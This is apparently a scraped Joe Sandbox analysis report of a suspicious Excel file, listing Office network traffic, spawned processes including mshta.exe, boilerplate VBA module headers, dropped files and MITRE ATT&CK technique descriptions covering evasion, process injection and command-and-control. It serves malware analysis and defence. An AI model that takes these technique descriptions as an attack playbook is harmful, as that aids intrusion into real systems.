2025-03-10 08:13:48 UTC	204	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 37 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 45 52 3d 22 31 32 30 36 30 33 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 62 70 7a 73 22 20 41 3d 22 39 34 30 74 63 20 39 78 35 6a 73 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120607" V="1" DC="SM" T="Subrule" ER="120603" xmlns=""> <S> <UTS T="1" Id="bbpzs" A="940tc 9x5js" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49702	13.107.253.72	443	6152	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2025-03-10 08:13:48 UTC	214	OUT	GET /rules/rule120603v8s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-10 08:13:48 UTC	495	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 08:13:48 GMT Content-Type: text/xml Content-Length: 2128 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA41F3C62" x-ms-request-id: e6cfb52d-f01e-003f-3294-91d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20250310T081348Z-r15847dcb49vfhxrhC1CH1b0qw0000000g4g000000002t2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-10 08:13:48 UTC	2128	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 33 22 20 56 3d 22 38 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 64 64 69 74 69 6f 6e 61 6c 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 45 3d 22 66 61 6c 73 65 22 20 44 4c 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120603" V="8" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAdditional" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" E="false" DL=

Target ID:	0
Start time:	04:12:25
Start date:	10/03/2025
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x3e0000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	04:13:23
Start date:	10/03/2025
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\mshta.exe -Embedding
Imagebase:	0xd40000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	04:13:32
Start date:	10/03/2025
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 12288
Imagebase:	0x7ff7da140000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	04:13:47
Start date:	10/03/2025
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\user\Desktop\POETDB24-25771.xla.xlsx"
Imagebase:	0x3e0000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

VBA Code

Call Graph

Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Sheet1

Declaration

Line	Content
1	Attribute VB_Name = "Sheet1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet2

Declaration

Line	Content
1	Attribute VB_Name = "Sheet2"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet3

Declaration

Line	Content
1	Attribute VB_Name = "Sheet3"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: ThisWorkbook

Declaration

Line	Content
1	Attribute VB_Name = "ThisWorkbook"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ( Security Software Discovery ) to evade.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report POETDB24-25771.xla.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\Users\user\AppData\Local\Temp\EA3C7C38.tmp

C:\Users\user\AppData\Local\Temp\~DF98A3782FC6E974ED.TMP

C:\Users\user\AppData\Local\Temp\~DFA504262EE9A10901.TMP

C:\Users\user\AppData\Local\Temp\~DFCA5953CDDC16AC27.TMP

C:\Users\user\Desktop\60A20000

C:\Users\user\Desktop\60A20000:Zone.Identifier

C:\Users\user\Desktop\POETDB24-25771.xla.xls (copy)

C:\Users\user\Desktop\~$POETDB24-25771.xla.xlsx

Static File Info

General

File Icon

Static OLE Info

General

OLE File "POETDB24-25771.xla.xlsx"

Indicators

Summary

Document Summary

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General

VBA Code

VBA File Name: Sheet2.cls, Stream Size: 977

General

VBA Code

VBA File Name: Sheet3.cls, Stream Size: 977

General

Windows Analysis Report
POETDB24-25771.xla.xlsx